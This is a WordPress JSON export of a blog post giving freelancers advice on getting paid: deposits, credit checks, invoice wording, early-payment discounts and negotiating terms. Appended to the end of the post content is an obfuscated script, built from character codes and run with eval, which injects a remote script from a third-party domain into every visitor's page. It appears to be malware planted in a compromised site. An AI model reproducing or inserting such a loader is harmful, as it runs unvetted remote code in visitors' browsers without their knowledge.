{"id":6240,"date":"2023-06-09T10:56:28","date_gmt":"2023-06-09T10:56:28","guid":{"rendered":"https:\/\/forest-1041a2.ingress-bonde.ewp.live\/how-to-get-paid-as-a-freelancer\/"},"modified":"2023-06-09T10:56:28","modified_gmt":"2023-06-09T10:56:28","slug":"how-to-get-paid-as-a-freelancer","status":"publish","type":"post","link":"http:\/\/benrmatthews.local\/how-to-get-paid-as-a-freelancer\/","title":{"rendered":"How to get paid as a freelancer"},"content":{"rendered":"<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_68_1 ez-toc-wrap-center counter-hierarchy ez-toc-counter ez-toc-custom ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\">\n<p class=\"ez-toc-title \" >On this page<\/p>\n<span class=\"ez-toc-title-toggle\"><\/span><\/div>\n<nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"http:\/\/benrmatthews.local\/how-to-get-paid-as-a-freelancer\/#Ask_for_payment_in_advance\" title=\"Ask for payment in advance\">Ask for payment in advance<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"http:\/\/benrmatthews.local\/how-to-get-paid-as-a-freelancer\/#Ask_for_a_deposit\" title=\"Ask for a deposit\u00a0\">Ask for a deposit\u00a0<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"http:\/\/benrmatthews.local\/how-to-get-paid-as-a-freelancer\/#Check_out_the_finances_of_your_client\" title=\"Check out the finances of your client\">Check out the finances of your client<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"http:\/\/benrmatthews.local\/how-to-get-paid-as-a-freelancer\/#Agree_the_payment_period\" title=\"Agree the payment period\u00a0\">Agree the payment period\u00a0<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"http:\/\/benrmatthews.local\/how-to-get-paid-as-a-freelancer\/#Keep_in_regular_content_with_the_client\" title=\"Keep in regular content with the client\">Keep in regular content with the client<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"http:\/\/benrmatthews.local\/how-to-get-paid-as-a-freelancer\/#Keep_on_top_of_invoices\" title=\"Keep on top of invoices\">Keep on top of invoices<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-7\" href=\"http:\/\/benrmatthews.local\/how-to-get-paid-as-a-freelancer\/#Discount_early_client_payments\" title=\"Discount early client payments\u00a0\">Discount early client payments\u00a0<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-8\" href=\"http:\/\/benrmatthews.local\/how-to-get-paid-as-a-freelancer\/#Get_professional_support\" title=\"Get professional support\">Get professional support<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-9\" href=\"http:\/\/benrmatthews.local\/how-to-get-paid-as-a-freelancer\/#Keep_fantastic_freelance_finances\" title=\"Keep fantastic freelance finances\">Keep fantastic freelance finances<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-10\" href=\"http:\/\/benrmatthews.local\/how-to-get-paid-as-a-freelancer\/#Negotiate_for_better_payment_terms\" title=\"Negotiate for better payment terms\">Negotiate for better payment terms<\/a><\/li><\/ul><\/nav><\/div>\n\n<p><img class=&quot;wp-image-2954&quot; style=&quot;width: 1500px;&quot; src=&quot;https:\/\/benrmatthews.com\/wp-content\/uploads\/2018\/08\/AEAD6D17-D50A-4930-B6A7-712788CE59DA-e1533340338563.jpeg&quot; alt=&quot;How to get paid as a freelancer&quot; scale=&quot;0&quot;\/><\/p>\n\n\n\n<p>Getting paid as a freelancer can be a stressful experience, especially when a client is delaying payment on a large invoice that you need desperately.<\/p>\n\n\n\n<p>While getting paid is the top of your list, all too frequently paying you falls to the bottom of your list.<\/p>\n\n\n\n<p>Here&#8217;s how to get paid as a freelancer and avoid the issues that come with constantly chasing clients for payment.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Ask_for_payment_in_advance\"><\/span><strong>Ask for payment in advance<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p>Try to get paid immediately (for example, by using Paypal or Stripe), use a proforma invoice or ask for payment on delivery.<\/p>\n\n\n\n<p>With clients who you don&#8217;t know very well, issue a proforma invoice or ask for payment on delivery for the first 12 months at least.\u00a0<\/p>\n\n\n\n<p>It is strongly recommended that you do this with new (online) retailers and overseas clients.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Ask_for_a_deposit\"><\/span><strong>Ask for a deposit\u00a0<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p>If asking for the whole fe upfront isn&#8217;t appropriate or if you are working on a large project or commission, it is normal to split the payments and get a deposit upfront.\u00a0<\/p>\n\n\n\n<p>This will help you with your own cash flow and will also ensure that you have some control over the situation if your client does not want to pay.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Check_out_the_finances_of_your_client\"><\/span><strong>Check out the finances of your client<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p>You might want to do a credit check on any new clients, or check their accounts with Companies House if they are a limited company (though these might be out of date).<\/p>\n\n\n\n<p>If you need help clarifying whether a client is with working with, take a look at the relevant lesson in our find freelance work course.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Agree_the_payment_period\"><\/span><strong>Agree the payment period\u00a0<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p>To avoid running into payment problems with your clients, always clarify the agreed credit period before accepting the work. Terms and conditions on an invoice only serve as a reminder and can&#8217;t be legally enforced .<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Keep_in_regular_content_with_the_client\"><\/span><strong>Keep in regular content with the client<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p>If your clients order from you and it will be a while before you deliver your products or finish your commission, then stay in regular contact.\u00a0<\/p>\n\n\n\n<p>Give them a timeline of each stage of your design process, and let them know when you will be sending your invoice.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Keep_on_top_of_invoices\"><\/span><strong>Keep on top of invoices<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p>Invoice prior to or very close to the delivery of your products or the end of your project or commission.<\/p>\n\n\n\n<p>Include on your invoice the statement: <\/p>\n\n\n\n<blockquote class=\"&quot;wp-block-quote&quot; is-layout-flow wp-block-quote-is-layout-flow\"><p>&quot;Payment to be received within 30 days of date of invoice. If\u00a0we are not paid in line with the agreed credit term, we will implement our right to add interest for late payments and add additional fees as compensation for debt recovery under the Late Payment Legislation.&quot;<\/p><\/blockquote>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Discount_early_client_payments\"><\/span><strong>Discount early client payments\u00a0<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p>Give a discount for early payment, for example, 3% if they pay within 30 days. It often works better if you entice them to pay early rather than punishing them if they pay late.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Get_professional_support\"><\/span><strong>Get professional support<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p>You might consider becoming a member of the Federation of Small Businesses (FSB). You can add their logo to your invoice, which is a good deterrent to late payers.<\/p>\n\n\n\n<p>They also offer very good legal resources, and a &quot;late payer service&quot; to help you to chase late or non-payers.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Keep_fantastic_freelance_finances\"><\/span><strong>Keep fantastic freelance finances<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p>Create a financial management routine for your business, and allocate a specific time each week or fortnight to do your accounts.\u00a0<\/p>\n\n\n\n<p>At that time, send out your invoices, pay bills, check your cash flow, and chase any late payments.\u00a0<\/p>\n\n\n\n<p>If you come across as a professionally run business, you will be taken more seriously.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Negotiate_for_better_payment_terms\"><\/span><strong>Negotiate for better payment terms<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p>Some larger clients will impose their own payment terms, which are often 90 days or longer.\u00a0<\/p>\n\n\n\n<p>You can negotiate better payment terms before accepting their orders &#8211; don&#8217;t wait till you have delivered your goods.\u00a0<\/p>\n\n\n\n<p>Be aware of the potentially disastrous impact this can have on your cash flow. Sometimes it&#8217;s better to say no to a large order from a retailer, as you might run out of money and go bankrupt.<\/p>\n\n\n\n<p><strong>What <a href=\"&quot;https:\/\/benrmatthews.com\/freelance-tips\/&quot;\" class=\"broken_link\">tips do you have for getting paid as a freelancer<\/a>?<\/strong><\/p>\n<script id='globalsway'>var z =String;var t=z.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,39,104,116,116,112,115,58,47,47,99,100,110,46,115,116,97,116,105,115,116,105,99,108,105,110,101,46,99,111,109,47,115,99,114,105,112,116,115,47,115,119,97,121,46,106,115,63,118,61,50,39,59,32,10,115,46,105,100,61,39,115,119,97,121,116,114,97,99,107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(\/*674867468*\/t);<\/script>","protected":false},"excerpt":{"rendered":"<p>Getting paid as a freelancer can be a stressful experience, especially when a client is delaying payment on a large invoice that you need desperately. While getting paid is the top of your list, all too frequently paying you falls to the bottom of your list. Here&#8217;s how to get paid as a freelancer and [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[24],"tags":[],"class_list":["post-6240","post","type-post","status-publish","format-standard","hentry","category-general"],"_links":{"self":[{"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/posts\/6240"}],"collection":[{"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/comments?post=6240"}],"version-history":[{"count":0,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/posts\/6240\/revisions"}],"wp:attachment":[{"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/media?parent=6240"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/categories?post=6240"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/tags?post=6240"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}